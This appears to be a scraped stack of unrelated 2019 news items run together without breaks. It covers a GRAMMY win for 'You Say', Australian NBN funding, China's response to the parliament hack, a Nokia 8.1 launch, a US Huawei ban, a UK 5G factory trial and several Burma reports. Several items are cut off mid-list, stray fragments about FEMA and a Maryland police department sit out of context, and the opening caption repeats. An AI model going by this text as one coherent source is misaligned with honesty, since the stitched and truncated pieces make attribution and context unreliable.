Shown left-to-right are Integrity's Jonathan Lane (Music Administration), Sarah Kroger and Integrity's Andrew Osenga (A&R) and Kristin Watson (Marketing). Shown left-to-right are Integrity's Jonathan Lane (Music Administration), Sarah Kroger and Integrity's Andrew Osenga (A&R) and Kristin Watson (Marketing).

###NASHVILLE, TENN. (FEBRUARY 12, 2019) - Provident Music Group/Sony Music along with Essential Music Publishing congratulate producers/songwriters Jason Ingram and Paul Mabury on their first career GRAMMY Award wins Sunday night at the 61st Annual GRAMMY Awards. Ingram and Mabury were honored as winners for the Best Contemporary Christian Music Performance/Song for "You Say" by Lauren Daigle. This crossover hit is currently No. 6 on the Billboard Adult Top 40 chart, spent 17 weeks at No. 1 at Billboard Christian Airplay chart and is already RIAA certified Gold.

It is so gratifying to see Jason and Paul recognized for their hard work and achievement in the writing of the song, 'You Say,' and the production of the album Look Up Child by Lauren Daigle," shares Terry Hemmings, President/CEO, Provident Label Group/Sony Music. "We are honored to be a part of their team and to represent their work and contribution to music.

Ingram and Mabury were also producers on Daigle's album that was named Best Contemporary Christian Music Album. This is the fifth nomination and first win for Ingram, and it is the second nomination and first win for Mabury.

The Recording Academy held the 61st Annual GRAMMY Awards live from Staples Center in Los Angeles on Sunday. As the only peer-selected music award, the GRAMMY is voted on by the Recording Academy's membership body of music makers, who represent all genres and creative disciplines, including recording artists, songwriters, producers, mixers, and engineers.

Essential Music Publishing is a full-service music publishing company that provides creative development, publishing rights management and administration, licensing, royalty collection and payment on behalf of their award-winning songwriters and catalog administration clients. Since they opened their doors in 2008, Essential Music Publishing has been based in Franklin, Tennessee.

In the past ten years Essential Music Publishing has grown their catalog to over 14,000 copyrights, including more than 65 CCM No. 1 songs as well as three Country No. 1 singles. In addition, Essential Music Publishing has been the recipient of three GMA Dove Award Song of the Year wins. Many Essential Music Publishing writers are also accomplished producers and artists, including GRAMMY recipients Jason Ingram, Paul Mabury, Mark Hall of Casting Crowns, Zach Williams, Jonathan Smith, Chuck Butler, Bryan Fowler as well as GRAMMY nominees Matt Maher, Mia Fieldes and Tauren Wells. For more information, be sure to visit EssentialMusicPublishing.com.

###Damian Ivereigh: "Lets stop thinking about how we can give everyone a price cut and instead think about how we get the network that Australia clearly needs."

The head of a small Internet service provider has questioned whether a write-down of the value of the national broadband network will end up being the panacea it is increasingly painted as, pointing out that the main problem facing the network is how it should be upgraded to full fibre after the initial build is over.

Damian Ivereigh, chief executive of the Launceston-based Launtel, said in a blog post that he thought merely having a write-down of the network's value was too simplistic and short-term.

He said he could understand the logic behind the calls for a write-down; with a sub-standard network, people were getting slower speeds than they expected and tended to feel that they were paying too much for a dud connection.

The wider issue should not be neglected, he said. "So should the debt be written down? I think it is important to look at the wider issue here: we have a less than stellar network and this needs to be fixed.

"The Federal Government can write down the loan, which would allow NBN Co to reduce its prices, but then how do we get the network upgraded? How is that going to paid for? Will it even be done?"

Ivereigh said any write-down should come with a plan  possibly another $25 billion loan  to pay for the upgrade.

"At the end of the day we all know the end goal is FttP. There is no other technology that comes even close to the same reliability, stability and performance. We can argue about whether we need it now, but we know that in 20 years time we will absolutely need it," he said.

"When a commercial company (a telco) performs upgrades they do it slowly, using interim technologies such as FttN, FttC and HFC, to guard their cashflow (get enough revenue on the way), but it is not an efficient way to do it.

"Governments can instead take the long view, see the end goal and just map a direct course there. Governments can understand that their return on investment isnt just the money, but also the societal and wider economy benefits."

Ivereigh said using what the NBN Co calls fibre-to-the-curb  where the copper lead-in to a dwelling is about 300 to 400 metres  to upgrade fibre-to-the-node connections was a halfway solution which had many potential issues.

"Firstly, it is a very new and untried technology  Australia is the first country to roll it out in a big way," he said. "Secondly, it is unclear if there is an easy upgrade path from FttN to FttC (an FttC service can interfere with your neighbour's FttN).

"And thirdly, nobody knows how long those units in the street will last in the hostile environment of the street pit.

"Finally it is yet another interim technology that is just a distraction from the end goal  FttP. Australia is a big country  we cant keep rolling out new technology over and over again."

He said there was no way around it; one had to accept that the switch to a multi-technology mix by the Coalition Government in 2013 was a big mistake. "We have essentially thrown at least $25 billion down the drain (though to be fair this money has entered our economy, no government spending in the local economy is ever wasted  people get employment for example).

"Had NBN Co stuck the course with FttP we would have spent about the same amount of money and almost had the FttP rollout finished by now (dont believe that $96 billion figure put out by the incoming Liberal Government)."

Ivereigh said it was time to realise that while Australia could not change its past, it could resolve not to repeat the same mistake. "Lets stop thinking about how we can give everyone a price cut and instead think about how we get the network that Australia clearly needs," he added.A Chinese Foreign Ministry spokesperson has described allegations that Beijing was behind a network intrusion of Australia's Federal Parliament as being part of "a larger smear campaign against China".

Hua Chunying told the media in Beijing on Tuesday that China had always held that cyber security should be the concern of all countries as it was a global issue.

The attack on the parliament was reported on Friday. While the main Australian spy agency, the Australian Signals Directorate, took a cautious note on attribution, media outlets like the ABC were quick to blame China for the intrusion.

Hua took a potshot at the US, saying, "I am sure that those who have long been following cyber security issues have not forgotten the PRISM program." The reference was to a program devised by the NSA to conduct surveillance, the details of which were leaked in 2013 by whistle-blower Edward Snowden.

"They must have also heard of the Equation Group and the WannaCry ransomware, the result of a particular countrys attempt to develop offensive cyber tools, that wreaked havoc globally," Hua added. "All those incidents have sounded the alarm for global cyber security."

The Equation Group is suspected to be an NSA offshoot; it was discovered by Kaspersky Lab. An NSA exploit leaked on the Web by a group known as the Shadow Brokers was used to create the WannaCry ransomware which caused chaos globally in May 2017, infecting Windows computers in numerous countries.

Hua added: "Given the virtual nature of cyberspace and the fact that there are all kinds of online actors who are difficult to trace, I must underscore the importance to have enough evidence when investigating and identifying cyber-related incidents. Groundless assumptions and random accusations should not be allowed."

The ASD and the Australian Cyber Security Centre are said to be investigating the cause and perpetrator of the parliament intrusion.Eighty percent of IT business leaders in the US anticipate a critical breach or successful cyber attack over the coming year, according to a newly published survey of more than 1000 IT professionals.

Respondents to the survey ranked research and development information, trade secrets, customer accounts, and other confidential information as the highest risk of loss when a breach occurs.

Trend Micro, which commissioned the research conducted by The Ponemon Institute, says the survey highlights a critical gap between data criticality and the protection measures in place to ensure their safety.

The overall Cyber Risk Index shows companies are at an elevated risk for cyberattack because critical data, operations, infrastructure and human capital are not well prioritised and protected, said Jon Clay, director of global threat communications for Trend Micro.

We designed the CRI to help security leaders improve their visibility of cyber risks so they can better prepare against attacks. Additionally, understanding the key areas of risk can enable companies to provide better security while also meeting regulatory requirements.

Trend Micro says the ability to securely implement disruptive technologies like mobile, cloud, and IoT devices was a great concern to those surveyed, along with detecting zero-day attacks - however, respondents positively reported that their CISOs have enough authority and resources to achieve a strong security posture.

At its core, the Cyber Risk Index captures benchmarks derived from surveys compiled from IT and IT security practitioners in small, medium, and large companies, said Larry Ponemon, chairman and founder of the Ponemon Institute.

Over time, these benchmarks can be used to pinpoint trends that will help CISOs proactively manage risks within the ever-changing cyber security ecosystem.

The report says that a primary cause of these risks was found to be complex, misaligned organisations with a lack of security connectivity, scalability and agility, and too few qualified people to manage security systems.

Trend Micro recommends organisations better prepare themselves against cyber threats by:With competing flagship smartphones selling at prices anywhere from over $1000 to over $2000 in Australia, Nokia says its new 8.1 model for $699 "punches above its weight".

Like some other Android smartphone makers, Nokia is leading with its camera, stating its new Nokia 8.1 "punches above its weight with extraordinary imaging achieved by its highly sensitive, industry-leading camera sensor, ZEISS Optics and Optical Image Stabilisation".

This is because camera functionality is a very important part of modern smartphones, with incredible photos and video able to be taken today, as opposed to the previous Nokia era of smart feature phones in the early and mid 2000s where cameras were more of a low-res novelty.

It's also because iPhones are incredibly popular for smartphone photography as measured by the Flickr photography site, home to "tens of billions of photos", and which ranks cameras and shows that various iPhones are still the most popular cameras of all.

Paired with a great camera is a great screen to view those photos on, and here, Nokia is also happy to boast that it offers "proprietary PureDisplay screen technology with HDR 10 support", matched with "highly accurate colour reproduction" that we're told "delivers enhanced viewing experiences even in bright sunlight, while the chipset ensures smooth performance for up to two days per charge".

As you'd expect, the company says that "all of this comes in a contemporary package with the precise craftsmanship expected from a Nokia smartphone", and naturally, it runs "the latest Android software, Android 9 Pie", for "the best Android experience with the latest innovations right out of the box".

James Robinson, country manager A/NZ of HMD Global, the company behind the new Nokia, states: The response to Nokia 8.1 globally has been overwhelming so were excited to announce its arrival in Australia next week.

"As well as delivering the meticulous craftsmanship and build quality renowned to Nokia, this smartphone runs the latest Google software so fans can enjoy the latest Android innovations.

"With the new PureDisplay HDR screen technology, accelerated performance, high quality imaging and advanced AI 20MP for selfies day and night, our customers will be able to enjoy a premium experience at all times.

So, what is more detail on Nokia's camera, which the company boasts means "imaging excellence with flagship calibre imaging technology"?

HMD Global says "Nokia 8.1s great low light imaging performance comes from a perfect blend of software and hardware. Its 12MP main camera with ZEISS Optics has an industry-leading 1/2.55 super sensitive sensor with large 1.4 micron pixels for precise light capture, delivering exceptionally detailed images.

"With its combination of Optical Image Stabilisation (OIS) technology and superfast autofocus, the Nokia 8.1 doesnt let shaky hands stop you from capturing crisp images and videos. A wide aperture ensures you can capture sharp pictures even in low light conditions, allowing longer exposure times that can be manually controlled with the Pro Camera mode.

"The 20MP adaptive front camera lets you capture the ultimate night-time selfie, as it enhances how much light it is able to capture by combining four pixels into one super pixel. You can also shoot movies like a pro with 4K video and relive your memories as if you were still there with high fidelity Nokia spatial audio stereo surround sound recording.

"Create studio-style portrait shots with the popular bokeh effect, enhanced with the Nokia 8.1s native shallow depth of field, coupled with its secondary 13MP depth sensor. Unleash your creativity with the Pro Camera UI for the ultimate control over your photos, or take your #Bothie game to the next level with AI-powered 3D personas, masks and fun filters in your photos and videos, all of which you can livestream directly without leaving your camera app."

Nokia 8.1 in Steel/Copper  article continues below:

What about the claim of "accelerated performance and PureDisplay"?

Here, HMD notes that "with smartphones rapidly becoming the default device for watching videos, you need a display tailored to the content youre enjoying in the environment youre in. The Nokia 8.1 is the second Nokia smartphone to come with PureDisplay screen technology for an enhanced viewing experience.

"Visuals are taken to another level with HDR 10 delivering higher contrast, great clarity, and over a billion individual colours to ensure images remain accurate whether youre in a dark room or bright sunlight. Playing games or watching videos, your display will deliver the best possible experience.

"To watch all that vivid content on the go, you need exceptional battery life. The Nokia 8.1 lets you effortlessly enjoy up to two days with one charge. Long-lasting power combined with the Snapdragon 710 Mobile Platform means the Nokia 8.1 can get through any task without breaking a sweat.

"It also has twice the AI power, thanks to a multi-core AI Engine which combines a brand-new architecture for efficient performance. Qualcomm aptX audio support also means music lovers can enjoy high quality sound wirelessly over Bluetooth.

"Take the smartphone to a whole new dimension by combining the physical world and digital content with AR core support. Through apps like Human Anatomy, Magic Plan, and Jenga AR, you can visualise and learn about the nervous system in 3D, create a floor plan for your next remodel just by walking around the house, and stack blocks on your dining room table with no need to tidy up after your tower collapses."

Nokia also talks up its design capabilities, stating it offers "design that is made to the highest standards".

Here we're told this new phone "heralds a new era of precision craftsmanship and obsession with detail", as the Nokia 8.1 has been designed "with less than a hairs width between materials, achieving the build quality and structural integrity expected from a Nokia smartphone, as well as making a true statement of clean, elegant European design."

Australians would probably talk about this being less than the thickness of a bee's nether regions, but European sensibilities surely prevented this being the way such thinness is described.

In any case, Nokia says that at the Nokia 8.1's core is "the strength of an extruded 6000-series aluminium frame with a die-cast centre for efficient use of materials.

"Exploiting the elegant contrast between the curved glass, polished metal and the sand-blasted finish, the Nokia 8.1s unique two-tone design is augmented with a dual anodising process, building on the finish that fans loved on the Nokia 7 Plus.

"Diamond cut edges deliver a bold statement with the durability to withstand the knocks of everyday life."

The company also boasts that "the Nokia 8.1s stunning 6.18 Full HD+ edge-to-edge display is housed within a beautifully refined and neat footprint, so you can enjoy your favourite movies and apps on a big screen comfortably on the go, giving you even more screen than the award-winning Nokia 7 Plus which as a 6 display."

Pure, secure and up-to-date Android 9 Pie, reinforced with Android One

"The Nokia 8.1 is the first Nokia smartphone to launch with Android 9 Pie out of the box. It joins the comprehensive line-up of Nokia smartphones in the Android One family, which means it delivers the best version of Android innovations and software experiences. Nokia smartphones with Android One come with three years of monthly security patches and two major OS updates."

Jon Gold, Director of Android One Partnerships, Google, said: "As an important partner for Google, HMD Global has enabled a diverse portfolio of Android One devices with a software experience that is fresh and secure.

"We're thrilled to continue our partnership with HMD Global on the new Nokia 8.1, the brand's first device with Android 9 Pie out of the box. Android 9 improves interactions on the Nokia 8.1 with intelligent and simple experiences, along with new Digital Wellbeing features.

Nokia also states that "the Nokia 8.1 comes with Android 9 Pie, which includes AI-powered features that make your device smarter and faster while also adapting to your behaviour as you use it, so your smartphone gets better with time.

"The Adaptive Battery feature limits battery usage from apps you dont use often, and App Actions predicts what youre about to do so you can get to your next action quickly.

"These features further streamline your devices functionality and your overall Android experience. The Nokia 8.1 also combines the capabilities of Google Assistant with Dual-Sight, so you can ask it to take #Bothie pictures and videos, and even command it to livestream to YouTube for a convenient and seamless experience.

"As part of the Android One program, the Nokia 8.1 will receive three years of regular security patches and two major OS updates. In addition, Google Play protect scans over 50 billion apps per day to keep your phone safe from malware, making the Nokia 8.1 among the most secure phones on the market.

"It also comes with easy access to helpful innovative services including the Google Assistant, which helps you get things done throughout the day, as well as Google Photos with free unlimited high-quality photo storage. Nokia 8.1 is part of the Android Enterprise."

Availability

The Nokia 8.1 will be available in Blue/Silver and Steel/Copper from 21 February at JB Hi-Fi and Officeworks for A$699 RRP.

Here is the Nokia 8.1 video, after which the specs are listed:

Specs:

Key features:

12MP main camera with ZEISS Optics has an industry-leading super sensitive sensor with large pixels for precise light capture, delivering exceptionally detailed images

Optical Image Stabilisation (OIS) technology and superfast focus means shaky hands wont stop you capturing crisp images and videos

Capture bokeh selfies with the 20MP adaptive front camera for the most epic selfies even in dimmer conditions

Create studio style portrait shots with the popular bokeh effect, enhanced with native shallow depth of field, as well as a secondary 13MP depth sensor

Unleash your creativity with the Pro Camera UI for the ultimate control over your photos, or take your #Bothie game to the next level with AI-powered 3D personas, masks and fun filters in your photos and videos

Unique two-tone design is augmented with two anodising processes and a diamond cut edges to deliver a bold statement

Stunning 6.18 Full HD+ edge-to-edge display housed within a beautifully refined and neat footprint

Qualcomm Snapdragon 710 Mobile Platform for efficient and powerful performance

The Nokia 8.1 lets you effortlessly go through up to two days with one charge

Enhanced viewing experience with PureDisplay technology that takes your viewing to another level with incredible HDR10 videos that automatically adapt to the situation for the best experience

The Nokia 8.1 comes with Android 9 Pie, which includes AI powered features that make your device smarter, faster and adapts as you use it, so your smartphone gets better with time

Key specifications

Networks:

EDGE: 850, 900, 1800, 1900; HSPA: 1, 2, 5, 8; LTE-FDD: 1, 3, 5, 7, 8, 20, 28; LTE-TDD: 38, 40, 41

Network speed: CAT6, 2CA, L+L , VoLTE , VoWiFi

OS:

Android 9 Pie

Chipset:

SDM710 (8x Qualcomm Kryo 360 CPU up to 2.2 GHz)

RAM:

4GB LPPDDR4x

Storage:

64GB internal user memory with MicroSD card slot up to 400 GB support

Display:

6.18 FHD+ 18.7:9, PureDisplay (HDR10, 500 nits, 1:1500 contrast ratio, 96% colour gamut) 81% display-to-body area

Cameras:

Rear: 12MP, 1/2.55, 1.4um, OIS, EIS, ZEISS, 2PD, Dual Hi- Cri flash;

Rear 2nd: 13MP FF depth sensing

Front: 20MP, FF, 0.9um

Connectivity & Sensors:

802.11 a/b/g/n/ac, BT 5.0, GPS/ AGPS+GLONASS+Beidou, ambient light sensor, proximity sensor, accelerometer (G-sensor), E-compass, gyroscope, fingerprint (rear)

Battery:

3500mAh, fast charging (18W)

Audio:

Single speaker, smart amp, 2 mics, OZO surround capture, FM radio, aptX compatible

Dimensions:

154.8 x 75.76 x 7.97mm

Weight:

180g

Colours:

Blue/Silver, Steel/Copper

Operating times:US President Donald Trump is likely to issue an executive order later this week banning the use of telecommunications equipment from Chinese companies in American wireless networks.

A report in Politico cited unnamed sources as saying the aim was to issue the order before the Mobile World Congress which is scheduled to be held in Barcelona from 25 to 28 February.

The order would mean a ban on the use of equipment from Huawei Technologies and ZTE Corporation, the two biggest Chinese manufacturers of telecommunications equipment.

A ban on the use of Huawei and ZTE equipment in government networks is already in force in the US.

The move comes after the US has launched a propaganda blitz against Huawei, claiming the company could conduct espionage on behalf of China.

Huawei has steadfastly denied the allegations and challenged anyone to show proof of security vulnerabilities in its telecommunications equipment.

But the report said there was no decision yet on how 5G networks would be built in the US without equipment from Huawei.

One industry source said the message going out to countries in Europe  where US Secretary of State Mike Pompeo has been campaigning to try and get countries not to use Huawei gear  was to go slow.

At the moment, however, no plan had been drawn to manage without equipment from Huawei, with the main push coming from smaller rural ISPs who had benefitted from the use of equipment from the Chinese vendor due to the prices and good service.Australian battery storage company Redflow has announced that its partner in Thailand, TSUS Group, has successfully deployed 10 Redflow ZBM2 zinc-bromine flow batteries to store and supply energy for a remote village in northern Thailand.

The Ban Pha Dan village has long lacked access to electricity because it is surrounded by a wildlife reserve where power poles are forbidden.

Redflow managing director and chief executive Tim Harris said the success of the Ban Pha Dan system demonstrated the benefits of solar-powered microgrids with energy storage for remote communities in many Redflow target markets, including the Asia-Pacific region, southern Africa and even remote mining communities in Australia.

The Ban Pha Dan project was backed by the Thai Government, with the village now using solar cells to harvest energy and a high-performance hybrid battery system, including ZBM2s, to store energy for a village microgrid that is separated from the national electricity distribution network.

The microgrid project was initiated by Thailands Energy Ministry and the Renewable Energy for Sustainable Association with financial support from the Energy Conservation Promotion Fund.

Harris said the Ban Pha Dan deployment provided a compelling model for remote communities in both developing and developed countries.

This solar-powered microgrid with energy storage shows how to provide environmentally-friendly energy for remote communities," he said.

Without the cost and pollution of diesel generators, this system gives local people access to energy for lighting, refrigeration and water pumps, which significantly improves their quality of life.

Thailands Energy Minister Dr Siri Jirapongphan visited Ban Pha Dan to inspect the new microgrid and energy storage system in mid-January. Later that month, the Thailand National Energy Policy Council, chaired by Prime Minister Prayut Chan-o-cha, approved Thailands Power Development Plan, which prioritises the development of renewable energy sources for the period 2018-2037. Dr Jirapongphan said that non-fossil energy would account for 35% of total capacity by 2037.

TSUS Group installed the ZBM2 batteries to store solar-generated energy that power the community school, town hall and temple while the lithium batteries supply energy for individual houses, each of which Redflow says uses less than one-fortieth of the daily power consumed in an average Australian house. The locally-produced energy also enables villagers to power water-supply systems for drinking and agriculture.A FEMA spokesperson said the agency is still on the ground in Maryland and working with 20 applicants to develop plans for 111 possible projects. FEMA has obligated $2.2 million under a disaster declaration, but cost estimates for projects across the state  including nine projects that the Department of Natural Resources has applied for  are still being developed and no money has been committed to any specific project, the spokesperson said. As plans are developed, FEMA will disburse money to the state, which will reimburse the cost of individual projects to applicants.American communications behemoth Verizon Communications has included Chinese firm Alibaba Cloud in its Secure Cloud Interconnect in order to offer companies speedier service in addition to full network visibility and control.

The addition, which is available in Singapore and Hong Kong, is aimed to provide Verizon's customers in the Asia-Pacific region a secure and direct connection which uses multi-protocol label switching to connect to Alibaba Cloud.

This brings the number of providers accessible from Verizon Secure Cloud Interconnect to 10 and covers 72 locations around the world.

Given that Verizon is an American company and Alibaba is a Chinese firm, iTWire has sought clarification from Verizon if the deal does not go contravene statements made repeatedly by US Secretary of State Mike Pompeo that countries should not deploy technology made by Chinese firms because it could be a security risk. The company's take will be included if any response is included.

In the past, organisations had to connect with multiple cloud service providers through the public Internet, which meant less control and visibility over policies and security measures, commented Vickie Lonker, vice-president of Product Management and Development at Verizon.

Today, via Secure Cloud Interconnect, organisations have the freedom and flexibility to quickly establish and manage workloads with leading cloud service providers through a consumption-based connectivity service with end-to-end visibility and control.

"This allows customers to deploy new applications and services faster than ever before. We are happy to help our customers who have chosen to use Alibaba Cloud to make that connection via private networking.

Verizon manages more than half a million network, hosting, and security devices and more than 4000 networks in 150 countries.Wednesday, February 13th, 2019 (12:01 am) - Score 1,628

A consortium of organisations in Worcestershire (England) have today switched-on Britains first factory trial of future 5G mobile technology, which is being funded by a grant of 4.8m from the UK government and will examine how the technology can help smart factories to become more productive.

The Worcestershire 5G Consortium, led by the Worcestershire Local Enterprise Partnership, is comprised of global experts and partners including: 5GIC at the University of Surrey, AWTG, Huawei, O2, BT, Heart of Worcestershire and the University of Worcestershire.

Broadly speaking the trial itself will look at how 5G based robotics, big data analytics and Augmented Reality (AR) can help to improve the way factories work, such as in terms of reconfiguration and real-time analysis, factory floor production and steering a machines movements from a remote location.

For example, Worcester Bosch will use 5G to improve factory output (e.g. exploring preventative maintenance utilising IoT sensors and data analytics to predict failure) and Yamazaki Mazak will adopt it for managing troubleshooting applications (e.g. remotely guiding onsite engineers through machine maintenance).

Finally, defence company QinetiQ will be working to ensure that related systems are implementing a security by design approach to their 5G and IoT technology.

Mark Stansfeld, Chair of the Worcestershire 5G Testbed & Trials, said: Going live with the UKs first 5G factory trials marks a monumental step in delivering the vision of the Worcestershire 5G Testbed to bring a productivity increase to the manufacturing sector and the UK economy. We are proud of the collaboration between all consortium members in making this happen and will be working closely to deliver the expected results from the live 5G trials.

Margot James MP, UK Minister of State for DCMS, said: Our 5G testbeds are being rolled out across the country and its great to see that the Worcestershire trial is now underway. This project proves that 5G technology can be applied to support industry and underlines our ambitions to be a world leader in this area.

Many of the use cases being highlighted above could have been done with existing 4G networks too, although the lower latency times and Gigabit class broadband speeds offered by 5G do offer a benefit, particularly for remote control and big data analytics where even short delays can be problematic.

In that sense the trials will also test end-to-end application performance, taking initial measures of both 5G speeds and latency.Burma World Kachin Congress Awards Jailed Peace Activists

Anti-war activists speak to the press in Myitkyina, Kachin State, on April 30. / Nan Lwin Hnin Pwint / The Irrawaddy

YANGON  The World Kachin Congress has given its first Kachin human rights awards to three Kachin community leaders serving six-month jail sentences over an anti-war protest.

They were sued for defamation in May by the Myanmar military after leading a sit-in protest against armed fighting in Kachin State.

Clashes had broken out between the military and the Kachin Independence Army in Kachin State the month before, displacing more than 6,000 people in Tanai, Injangyang, Mogaung and Hpakant townships. Thousands of them became trapped between the two sides and about 3,000 Kachin youth staged a sit-in near the state government office from April 30 to May 6 to call for a ceasefire.

The military accused three of the leaders  Zau Jat of the Kachin National Social Development Association, Htoi Gender and Development Foundation Director Nang Pu, and lawyer Lum Zawng  of using defamatory terms against the Tatmadaw during the protest.

In December, a court sentenced them to six months in jail and fines of 500,000 kyats ($328).

This [award ceremony] reflects the unity of the Kachin across the world and especially shows the support of Kachin people outside the country, said awards committee member U Steven Naw Awng.

Relatives of the three winners received the awards on their behalf in a ceremony at the Manau Grounds in the Kachin State capital, Myitkyina, on Wednesday morning. They each received a medal and 4 million kyats ($2,621).

U Steven Naw Awng said the award is intended to inspire Kachin youth to take an active part in promoting justice and human rights, and reflects the fact that Kachin across the world are working together for democracy in Myanmar.

Anyone who strongly supports justice and human rights deserves this prize, said Sut Seng Htoi, another member of the awards committee.

U Steven Naw Awng said one of the winners, Nang Pu, had been suffering from diabetes and tuberculosis before her arrest and was in poor health in prison.

They have suffered from cold weather, and after winter there are many mosquitoes. Because they are not allowed to use mosquito nets, we are concerned that they might catch malaria, he added.

The Assistance Association for Political Prisoners has labeled the three of them political prisoners.

Some of those who joined Aprils sit-in held placards reading Stop dropping bombs targeting civilians and Stop torture and killing of civilians. At a press conference, the three convicted leaders accused the military of preventing the trapped people from escaping, prompting the lawsuit.

Translated from Burmese by Thet Ko Ko.News Nine Bodies from Boat that Sank Near Rakhine Island Found

Rescue teams retrieve the bodies of victims of Mondays boat sinking from the Zeetaw seashore, some 4 miles from Let Pet Taw Island. The bodies were taken to Manaung Island. / Rakhine Fire Force / Facebook

SITTWEThe bodies of nine victims who were on board a Myanmar Port Authority vessel that sank on Monday near an island in Manaung Township in Rakhine State have been found. Ten of the 26 people who were on board at the time the vessel went down remain missing, after seven were found alive on Monday.

The vessel, the 180-ft-long Bull Elephant, sank early Monday morning after being struck by a large wave while moored off Let Pet Taw Island.

Eight of the bodies, including that of the helmsman, U Tun Tun, were found on Tuesday and were sent to Manaung Township. The ninth was found on Wednesday and was still at the seashore, according to U Myint Hlaing, a Manaung Township administrator.

Relatives of the deceased had arrived in Manaung Township and were negotiating with officials from the Transport Ministry and preparing funerals. The authorities continued their search-and-rescue operation to find the 10 remaining missing people.

A total of 34 people24 vessel staff, nine staff from the lighthouse and passenger U Tun Oo, from Yangon, who was not on the original list of those on boardwere taken to Let Pet Taw Island from Yangon to repair a lighthouse on Feb. 7 and arrived at the island on Feb. 9, according to township General Administration Department officials.

Eight of the lighthouse staff disembarked on the island before the vessel sank. Authorities said the vessels 24 crew members, one employee of the lighthouse and U Tun Oo were on board when the vessel capsized some 4 miles from the Zeetaw shoreline.

U Zaw Tun Lwin, the general manager of the Myanmar Port Authority who is in charge of the research operation, said officials were continuing the search and would follow the families wishes regarding the disposal of the victims remains.

He said, The bodies will be sent to Manning Hospital and shown to the families. Then we will do our best, whatever they want to dowhether they want to take them back to Yangon or bury them here. We will coordinate with the local authorities and the funeral services.

Then, he said, the ministry would provide support to the family members after the search and rescue operation.News Cases Dropped Against 55 Karenni Anti-Statue Activists

Karenni demonstrators sit in front of a park housing a statue of Gen. Aung San in Loikaw. / KNIC

YANGONThe Karenni State government has agreed to drop lawsuits against 55 rights activists charged for their participation in a series of protests over the past year against the installation of a bronze statue of General Aung San in a park in the state capital, Loikaw.

Protest leaders and the state government reached an agreement after holding talks at noon on Tuesday, said rights activist Ko Kyaw Htin Aung, adding that the crowds outside the park then peacefully dispersed.

The talks came after thousands of local residents led by the Karenni State Youth Force staged a protest march earlier Tuesday against the bronze statue. Police used water cannons and rubber bullets to disperse demonstrators who attempted to break through a police cordon. Over 20 people were injured in the clash, according to the committee that organized the protest.

Protesters had also demanded that the state chief minister and planning and finance minister, who they said are responsible for the statue, resign from their posts, and that all those detained for participating in the protest be unconditionally released.

The heated talks started around 3 p.m. and went on for four hours. Youths agreed to suspend the demonstration in exchange for a promise [from police] that unfair lawsuits against 55 youths would be dropped, Ko Kyaw Htin Aung said.

Since February 2018, authorities had opened 86 cases against 55 youths for protesting against the installation of the Gen. Aung San statue, and for offenses relating to their efforts to promote a Karenni perspective on history.

They were charged under Section 505 (b) and (c) of the Penal Code for defamation of the state, and under sections 19 and 20 of the Peaceful Assembly and Procession Law, Ko Kyaw Htin Aung said, adding that there were 86 cases because some youths were charged multiple times.

The state government said that the Gen. Aung San statue was funded by a committee comprising civil society organizations, and asked the protesters to hold talks with the committee. It said the talks should be aimed at reaching a decision within one month.

And they said it was not the protesters place to demand the resignation of the state chief minister and the finance and planning minister, and that was [an issue] to be handled by the Union government, Ko Kyaw Htin Aung said.

According to protesters, hundreds of people rallied in support of the statue during an inauguration ceremony on Feb. 2 and several National League for Democracy members, including the state chief minister, attended the event.

The two sides agreed that no further rallies, either for or against the statue, would be held at the park during the one-month negotiation period between the protesters committee and statue installation committee. However, rallies can be held at the Karenni State Hall.

At noon on Tuesday, Karenni youths and activists in Yangon staged a protest over the police use of rubber bullets against the demonstrators in Loikaw.

Holding placards reading, What ethnic communities want is Gen. Aung Sans promise, not his statue, and Dont kill Gen. Aung San again, the demonstrators marched along Bo Aung Kyaw Street, Anawrahta Road and Sule Pagoda Road to Maha Bandoola Park.

Local ethnicities have no right to determine their own destiny, and reveal their true history. Whats worse is youths who reveal the true history are arrested and shot [with rubber bullets]. This is not an answer, said Ma Ei Thinzar Maung, who participated in the demonstration.

The statue of the late independence hero was brought to Loikaw on Jan. 29. Local residents were surprised by its arrival, and accused the government of breaking a promise the states chief minister made in July not to erect it without the publics approval.

Karenni State Chief Minister L Phaung Sho announced on June 12 last year the plan to unveil the statue on July 19 to mark Martyrs Day, which commemorates the anniversary of the assassination of Gen. Aung San and his cabinet members. The plan was then shelved after it met strong opposition from locals.Burma Village Head Shot Dead at His Home in Rakhine State

A sign reading Welcome to Minbya Township / Min Aung Khine / The Irrawaddy

A General Administrative Department officer was shot dead at his home in Rakhine States Minbya Township on Tuesday night.

Two unidentified gunmen shot U Maung Kyaw, 50, the head of Kyauk Khot village, at his home after 8 p.m. on Tuesday, Tharyarkone village administrator U Maung Tun told The Irrawaddy on Wednesday. Kyauk Khot is one of six villages in Tharyarkone village tract.

U Maung Kyaws family members were not home when he was shot.

He was shot and killed at his home. We heard two men come to his house and one pulled the trigger, the village administrator said.

U Maung Tun added, His family members were at their noodle-making business. His daughter was warming herself at a fire with neighbors and ran back home when she heard the gunfire. She saw two men leaving their house.

U Maung Kyaw died after being shot four times, and his body was sent to Minbya Hospital, according to Police Captain Mya Zaw from Minbya Myoma Police Station.

He confirmed the killing but added, We cannot provide further details of the case, as the body was taken to the hospital.

Rakhine State has seen a rash of fatal shootings of villagers, but authorities have yet to identify suspects or motives.

On the night of Jan. 22, U Maung Aye Thein, 56, a resident of Pan Myaung village in Minbya Township was shot dead by an unidentified gunman.

A month earlier on Dec. 24, 2018, U Khin Than Maung, a central committee member of the Arakan League for Democracy party from Kyar Inn Taung village in Myaybon Township was shot dead at his home while watching television.While an audit by the Maryland Police Training Commission is a good step, we think it would be wiser to have someone from an outside agency run day-to-day operations of the Taneytown Police Department to see what other issues there may be as it relates to the departments culture or anything else that might be happening behind the scenes. The city shouldve also announced a plan to conduct a nationwide search for a new chief of police.Burma With 'On-the-Go' Loans and Tech, Social Firm Boosts Myanmar Farmers

A farmer working in a field in Myanmars delta region. / The Irrawaddy

YANGON  A social venture in Myanmar is boosting farm outputs with customized technologies and giving loans for seasonal migration to raise incomes in one of the worlds poorest countries.

Proximity Designs, which was set up in 2004 in the countrys commercial hub, Yangon, focuses on farming, on which more than two-thirds of the population relies to make a living.

The ethical business gives farming advice, custom-designed irrigation products and loans for crops, livestock and migration to about 200,000 clients in the country.

Its about improving access of smallholder farmers to knowledge, technology and capital, said Ben Warren, head of strategy and finance at Proximity.

Myanmar was closed for so long, it was hard for farmers to access these. While access is better now, not many products are made for farmers or reach them.

